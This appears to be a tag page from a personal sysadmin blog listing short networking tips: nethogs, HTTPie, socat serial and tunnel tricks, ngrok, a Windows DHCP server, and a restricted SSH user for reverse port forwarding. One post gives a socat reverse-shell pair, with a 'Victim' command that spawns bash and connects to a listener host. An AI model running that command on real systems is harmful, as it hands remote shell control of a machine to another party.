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Des del 2000 compartiendo sobre…

Tag: Networking

nethogs: Linux net top tool

2018/08/06 No hi ha comentaris

Reading time: < 1 minute When a title says all that you have to say, the best is paste the link of the tool and just attach a screenshot: nethogs.

URL shortener service: https://url.joor.net (pygmy)

2018/07/06 No hi ha comentaris

Reading time: 2 – 2 minutes

Lately, I started running my own URL shortener service because of Google URL shortener service is going to shut down. Below there is a short video showing how the service runs and also there is a Google Chrome extension which I created for integrating the service with the browser.

For quick access and reference the URLs are:

Final notes:

  • Base URL is not the shortest one, but for my personal requirements, it’s more than enough.
  • Service is in early stages, especially the extension. Expect errors, bugs, and unavailabilities.
  • Service is open and free for everyone. But remember, the main purpose is my personal use.
  • I know that pygmy has more features than I publish but I don’t need them and I don’t want to maintain those parts of the applications.
  • I appreciate the effort of Amit for so good application.

HTTPie – command line HTTP client

2018/05/02 No hi ha comentaris

Reading time: 1 – 2 minutes

I imagine you are used to using curl for many command line scripts, tests, and much more things. I did the same but some weeks ago I discovered HTTPie which is the best substitute that I’ve ever found for curl. Of course, it’s also available for a lot of Linux distributions, Windows, and Mac. But I used it with docker which is much more transparent for the operative system and easy to update. To be more precise I use next alias trick for using this tool:

alias http='sudo docker run -it --rm --net=host clue/httpie'

Official website: httpie.org

Let me paste some highlights about HTTPie:

  • Sensible defaults
  • Expressive and intuitive command syntax
  • Colorized and formatted terminal output
  • Built-in JSON support
  • Persistent sessions
  • Forms and file uploads
  • HTTPS, proxies, and authentication support
  • Support for arbitrary request data and headers
  • Wget-like downloads
  • Extensions
  • Linux, macOS, and Windows support

From the tool webpage a nice comparison about how HTTPie looks like versus curl.

socat tip: create virtual serial port and link it to TCP

2018/03/07 No hi ha comentaris

Reading time: < 1 minute Create a virtual serial port and publish it on TCP port: 

socat pty,link=/dev/virtualcom0,rawer tcp-listen:2101

In another computer, for instance, another virtual port can be created and connected to the previous one:

socat pty,link=/dev/virtualcom0,rawer tcp:SERVER_IP:2101

If in any of those both sides we want to open a real serial port, for instance, in the server case we can run:

socat /dev/ttyS0,rawer tcp-listen:2101

More information on socat manpage.

socat tip: VPN without cyphering

2018/01/30 1 comentari
Reading time: < 1 minute

Fast reminder and tip for socat, it can work on two devices or more:

# SERVER:
socat TCP-LISTEN:4443 TUN:192.168.255.2/24,up

# CLIENT:
socat TCP:SERVER_IP:4443 TUN:192.168.255.1/24,up

ngrok – service which solve services behind NAT issues

2018/01/24 2 comentaris

Reading time: < 1 minute This is another short entry, in this case for recommending a service which we solve typical problem solved using a DNAT. Once we have a service on our laptop, or on a private server and we have to expose that service on the internet for some time or permanently usually we have to go the firewall, or router and create a NAT rule forwarding a port. This is a simple and powerful service which is going to solve that for you. There is a free account for understanding and testing the service, other plans are available and especially affordable for professional requirements.

ngrock.com

I was frogetting to say it’s compatible with Linux, Windows and Mac.

socat reminder: reverse shell

2018/01/22 No hi ha comentaris

Reading time: < 1 minute 

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:12345

#Victim:
socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:IP_LISTENER:12345

DHCP server for Windows 10

2018/01/19 1 comentari

Reading time: 1 – 2 minutes

This is a super useful and simple tool, first of all, let me say thanks to Dani because I found the tool thanks to him. Very often I have the requirement to set up small virtual, real or hybrid networks using my laptop as a server and I had to boot a VM for getting a DHCP server simple to manage and powerful. Now, this is not required anymore because thanks to this tool I found a super small and flexible tool, I can set up all that I need using an INI file or just a wizard. It’s a pleasure and I don’t have to install anything if I don’t want, just a tray icon application is running for allowing me to give the service to my experimental networks.

Those projects that gain my commitment in a second: DHCP Server for Windows

Restricted user for SSH port forwarding

2016/09/19 No hi ha comentaris

Reading time: 2 – 2 minutes

I love “ssh -R” reverse SSH is really useful when you have to get access to a Linux machine behind a NAT or firewall. One of the most powerful scenarios to get that running is use a third machine with a public IP address. The idea will be run reverse SSH command in target Linux and publish a forward port at the third server, so you only have to connect to a published port in that third server and you’ll get the target Linux thanks to the reverse SSH connection open between them.

reverse-ssh-schema

A long time ago I talked about that in my podcast “2×04 SSH avançat“.

With this scenario we have a security challenge with the SSH user account on the “third server”, we want a secure user:

  • without shell and sftp access
  • secure enough to only allow port forwarding features
  • access only allowed with authorized keys

I’m not going to give precise Linux instructions on that limited user, but for user you’re not going to have problems to get that:

/etc/passwd(-):

limited-user:x:1001:1001::/home/limited-user:

/etc/shadow(-):

limited-user:!:17037:0:99999:7:::

/etc/ssh/sshd_config:

Match User limited-user
    GatewayPorts yes
    ForceCommand echo 'This account can only be used for maintenance purposes'

Of course, you’ll have your own UID, GID and use your own username. And at “/home/limite-user/.ssh/authorized_ssh” you’ll have to pub public key of the clients that want to use the service.

I’ve got my inspiration to get that from: How to create a restricted SSH user for port forwarding?. Thank you askubnutu.com.